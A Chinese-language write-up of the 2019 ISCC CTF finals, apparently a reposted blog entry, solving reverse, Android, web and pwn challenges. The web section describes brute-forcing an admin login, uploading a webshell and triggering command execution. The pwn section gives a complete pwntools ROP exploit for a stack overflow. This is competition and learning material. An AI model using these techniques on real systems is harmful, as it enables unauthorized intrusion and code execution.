zoukankan      html  css  js  c++  java
  • 第16届(2019)全国大学生信息安全与对抗技术竞赛全国线下总决赛 Writeup

    0x00 Begin

    关于 ISCC 2019 北理工总决赛,这一次比赛体验感总体差不多,最后我们战队荣获第一名,在这里非常感谢我的团队以及我的队友。

    image

    0x01 Reverse

    下载题目:elf

    先用 DIE_090_win 查看信息,64位elf文件,然后拖入 ida 分析。

    看到fgets函数,并且没有对输入进行限制,存在数组越界漏洞。

    image

    而且数组是连续的

    image

    所以根据流程写出相应的脚本

    #include <stdio.h>
    int main(int argc, char *argv[])
    {   
    int s,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18,v19,v20,v21,v22,v23,v24,v25,v26,v27;
    s = (0x17F5B30C ^ 0x17F5B345);
    v5=  (0xF16B77B1^0xF16B77E2);
    v6=(0xB2B21904 ^ 0xB2B21947);
    v7 = (0x58A9F9C8 ^ 0x58A9F98B);
    v8 = (0x20A99D71 ^ 0x20A99D0A);
    v9=(0x96D85B41 ^ 0x96D85B20);
    v10=(0xBBEA9A56 ^ 0xBBEA9A3E); 
    v11 = ( 0x35512DDF^ 0x35512DBE);
    v12 = ( 0x2838DCA8^ 0x2838DCF7);
    v13 = (0x4EA1DFF4 ^ 0x4EA1DF87);
    v14=(0xE22DCC84 ^ 0xE22DCCED) ;
    v15=(0xDD2C6643 ^ 0xDD2C662E); 
    v16 =(0x106B37B4 ^ 0x106B37C4);
    v17 =(0x46B44202 ^ 0x46B4426E);
    v18=(0xAA67C791 ^ 0xAA67C7F4);
    v19=(0x72C06EE2 ^ 0x72C06EBD);
    v20=(0xB0117F0D ^ 0xB0117F7F) ;
    v21=(0xF91B9389 ^ 0xF91B93EC); 
    v22=(0xD43CE962 ^ 0xD43CE914); 
    v23=(0xF6EA0C88 ^ 0xF6EA0CED); 
    v24= (0x402A09E5 ^ 0x402A0997);
    v25=(0xADACB774 ^ 0xADACB707) ;
    v26=(0xE79C5545 ^ 0xE79C5520); 
    v27 = (0x4B76BD31 ^ 0x4B76BD4C); 
    printf("%c",s);
    printf("%c",v5);
    printf("%c",v6);
    printf("%c",v7);
    printf("%c",v8);
    printf("%c",v9);
    printf("%c",v10);
    printf("%c",v11);
    printf("%c",v12);
    printf("%c",v13);
    printf("%c",v14);
    printf("%c",v15);
    printf("%c",v16);
    printf("%c",v17);
    printf("%c",v18);
    printf("%c",v19);
    printf("%c",v20);
    printf("%c",v21);
    printf("%c",v22);
    printf("%c",v23);
    printf("%c",v24);
    printf("%c",v25);
    printf("%c",v26);
    printf("%c",v27);
    return 0;
    } 
    
    

    GetFlag

    ISCC{aha_simple_reverse}

    0x02 Mobile

    下载题目:app-release.apk

    image

    通过提示发现flag由两部分组成

    由于该apk缺少签名所以无法安装,不过不影响做题

    第一部分:

    先对apk进行反编译,分析特殊文件,最终在string.xml文件中找到一些特殊字符串

     <string name="abc_toolbar_collapse_description">Collapse</string>
        <string name="app_name">where is flag</string>
        <string name="bad_example">This does not work</string>
        <string name="basketball">basketball</string>
        <string name="black">#FFFFFF</string>
        <string name="city">青岛</string>
        <string name="good_example">"This'll work"</string>
        <string name="good_example_2">"This'll also work"</string>
        <string name="hello">Hello World, MainActivity!</string>
        <string name="hhh">Happy!</string>
        <string name="me">我打ctf像</string>
        <string name="mine">今年我10岁,打ctf</string>
        <string name="part1">RmxhZyU3</string>
        <string name="part2">QllvdXJB</string>
        <string name="part3">cmVDYW5keQ==</string>
        <string name="sd">sad!</string>
        <string name="search_menu_title">Search</string>
    

    提取特殊字符串

    part=part1+part2+part3=RmxhZyU3QllvdXJBcmVDYW5keQ==

    base64解码得到flag前半部分

    Flag{YourAreCandy

    第二部分:

    使用jd-gui查看反编译的java文件

    主类代码如下:

    package com.example.iscc.whereisflag;
    
    import android.os.Bundle;
    import android.support.v7.app.AppCompatActivity;
    import android.view.View;
    import android.view.View.OnClickListener;
    import android.widget.Button;
    import android.widget.EditText;
    import android.widget.Toast;
    
    public class MainActivity
      extends AppCompatActivity
    {
      String f1ag = "f1ag{ifbUlnFBboBH15VGHsd6a78}";
      String tag1 = "input";
    
      boolean check(String paramString)
      {
        if (paramString.length() == 0) {
          return false;
        }
        int[] arrayOfInt1 = new int[paramString.length() / 2 + 1];
        int[] arrayOfInt2 = new int[paramString.length() / 2 + 1];
        int k = 0;
        int i = k;
        int j = i;
        while (k < paramString.length())
        {
          arrayOfInt1[i] = paramString.charAt(k);
          int m = paramString.charAt(k);
          k += 1;
          arrayOfInt2[i] = paramString.charAt(k);
          i += 1;
          j = j + m + paramString.charAt(k);
          k += 1;
        }
        if (j > 800) {
          return false;
        }
        i = arrayOfInt2[(arrayOfInt2.length - 2)];
        arrayOfInt2[(arrayOfInt2.length - 2)] = arrayOfInt2[0];
        arrayOfInt2[0] = i;
        i = 0;
        while (i < arrayOfInt1.length - 1)
        {
          if (arrayOfInt1[i] > 91) {
            return false;
          }
          i += 1;
        }
        i = 0;
        while (i < arrayOfInt2.length - 1)
        {
          if (arrayOfInt2[i] < 96) {
            return false;
          }
          i += 1;
        }
        if (arrayOfInt1[(arrayOfInt1.length - 2)] != arrayOfInt1[(arrayOfInt1.length - 3)]) {
          return false;
        }
        if (arrayOfInt1[1] - arrayOfInt1[0] != 4) {
          i = 1;
        } else {
          i = 0;
        }
        if (Math.abs(arrayOfInt2[0] - arrayOfInt2[1]) != 4) {
          j = 1;
        } else {
          j = 0;
        }
        if (arrayOfInt1[0] - arrayOfInt1[(arrayOfInt1.length - 2)] != 4) {
          k = 1;
        } else {
          k = 0;
        }
        if ((i | j | k) != 0) {
          return false;
        }
        if (arrayOfInt2[0] % 25 != 0) {
          return false;
        }
        if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 2)] + arrayOfInt2[1]) / (arrayOfInt1[0] + arrayOfInt1[1]) != 2) {
          return false;
        }
        if ((arrayOfInt1[(arrayOfInt1.length - 2)] + arrayOfInt2[(arrayOfInt2.length - 3)]) % 10 != 0) {
          return false;
        }
        if (arrayOfInt2[(arrayOfInt2.length - 3)] % 11 != 0) {
          i = 1;
        } else {
          i = 0;
        }
        if (arrayOfInt2[(arrayOfInt2.length - 2)] % 11 != 0) {
          j = 1;
        } else {
          j = 0;
        }
        return (i | j) == 0;
      }
    
      protected void onCreate(final Bundle paramBundle)
      {
        super.onCreate(paramBundle);
        setContentView(2131296284);
        paramBundle = (EditText)findViewById(2131165309);
        ((Button)findViewById(2131165218)).setOnClickListener(new View.OnClickListener()
        {
          public void onClick(View paramAnonymousView)
          {
            paramAnonymousView = paramBundle.getText().toString();
            if (MainActivity.this.check(paramAnonymousView))
            {
              Toast.makeText(MainActivity.this.getApplicationContext(), "恭喜你拿到了 ag!", 1).show();
              return;
            }
            Toast.makeText(MainActivity.this.getApplicationContext(), "flag{you can do it 666}", 1).show();
          }
        });
      }
    }
    
    

    审计主类Java代码发现第二部分存在于check函数中,下来分析check函数功能:

    image

    首先将输入的奇数位赋给数组arrayOfInt1,偶数位赋给arrayOfInt2,然后判断输入的字符串ASCII的要小于800。

    image

    这部分将数组arrayOfInt2的最后一位和第一位替换位置;并要求arrayOfInt1要小于等于91,arrayOfInt2要大于等于96。

    image

    image

    最后两部分就是对两个数组的值的判断即约束条件。

    image

    最终,满足所有条件才能返回1即返回true。

    根据上面列出的约束条件(为了阅读方便将数组设为 arrayOfInt1->arr1 arrayOfInt2->arr2)

    然后设

    arr1[0] -> x0
    
    arr1[1] -> x1
    
    arr1[后1] -> x_1 == 数组arr1的到数第1位
    
    arr1[后2] -> x_2 == 数组arr1的到数第2位
    
    arr2[0] -> y0
    
    arr2[1] -> y1
    
    arr2[后1] -> y_1 == 数组arr2的到数第1位
    
    arr2[后2] -> y_2 == 数组arr2的到数第2位
    

    所有约束条件组成的方程组

    x_1 = x_2 式 1
    x1 – x0 =4 式 2
    x0 – x_1=4 式 3
    (x_1 + y_1 +y1)/(x0+x1) =2 式 4
    (x_1 + y_2) % 10 = 0 式 5
    | y0 – y1| =4 式 6
    y0 % 25 =0 式 7
    y_2 % 11 =0 式 8
    y_1 %11 =0 式 9
    

    利用方程组求解:

    根据式7得 y0 = 125 或者 100
    
    根据式6得 y1 =121
    
    因为数组2要大于等于96,所以根据式8,9得 y_1,y_2的取值有三种可能 99,110,121
    
    若 y_2 =121
    
    根据式5得 x_1 = 69
    
    根据式1得 x_2 = 69
    
    根据式3得 x0 = 73
    
    根据式2得 x1 = 77
    
    根据式4得 y_1 = 110
    

    发现此解满足条件

    x0 = 73   x1= 77   x_2 = 69   x_1 = 69
    
    y0 = 125 y1 =121 y_2 = 121 y_1 = 110
    

    整理:

    数组 arr1 = 73 , 77, 69, 69
    
    数组 arr2 = 125, 121, 121 , 110
    

    根据1.2可知数组2的最后一位和第一位替换位置所以

    数组 arr2 = 110, 121, 121 , 125

    之后根据数组arr1是输入的奇数位,arr2是输入的偶数位

    所以输入: 73,110,77,121,69,121,69,125

    对应字符串:InMyEyE}

    最终flag由第一部分和第二部分组成

    Flag{YourAreCandyInMyEyE}

    PS:感谢我们团队的逆向大佬帮我分析算法(二进制大佬)。

    0x03 私地 Web

    拿到一个站,先对该站点进行端口探测,目录扫描,发现存在登陆页面,首先想的是注入,但是注入无果,于是立马进行isccadmin爆破。

    image

    image

    登陆之后,先修改自己账户密码,防止被登录。

    漏洞利用,修改附件上传限制

    image

    在文章哪里上传木马111.pht

    image

    PS:服务器存在漏洞(主办方文件权限设置出现问题),一直上传不上去,耽误了一个小时(T_T),最后向主办方反应才解决了该问题。

    最后蚁剑成功连接shell

    image

    Getflag向主办方要取ssh账号

    连接ssh之后,备份源码,分析站点文件,发现根目录下的一个文件(xmlrpc.php)存在任意命令执行漏洞。

    image

    构造payload,getflag

    http://192.168.37.71/xmlrpc.php?rsd=getflag

    0x04 Pwn 高地2

    放入ida分析,发现scanf存在栈溢出漏洞,并且题目还给出了system函数

    image

    根据漏洞编写相应的Exp

    from pwn import *
    context.log_level = "debug"
    #icontext.arch = "amd64"
    elf = ELF("./fZ830RdRBe6wAofd.pwnPublic")
    pop_rdi_ret=0x400683
    bss=0x602000-10
    pop_rsi_r15=0x400681
    s=0x4006C5
    sh = process("./fZ830RdRBe6wAofd.pwnPublic")
    system = elf.plt['system']
    scanf = elf.plt['__isoc99_scanf']
    payload='A'*24+p64(pop_rsi_r15)+p64(bss)+p64(bss)
    payload+=p64(pop_rdi_ret)+p64(s)
    payload+=p64(scanf)
    payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)
    sh.sendline(payload)
    sh.interactive()
    

    0x05 End

    Game over !!!!

  • 相关阅读:
    设计模式 -- 中介者设计模式 (Mediator Pattern)
    java.lang.IllegalArgumentException: View not attached to window manager
    项目中处理android 6.0权限管理问题
    Python File.readlines() 方法
    notepad++快捷键
    ora-00054:resource busy and acquire with NOWAIT specified
    空格和TAB键混用错误:IndentationError: unindent does not match any outer indentation level
    Notepad++编辑Pyhton文件的自动缩进的问题(图文)
    echoawksed eecurl的使用-shell
    python正则表达式
  • 原文地址:https://www.cnblogs.com/qftm/p/11285099.html
Copyright © 2011-2022 走看看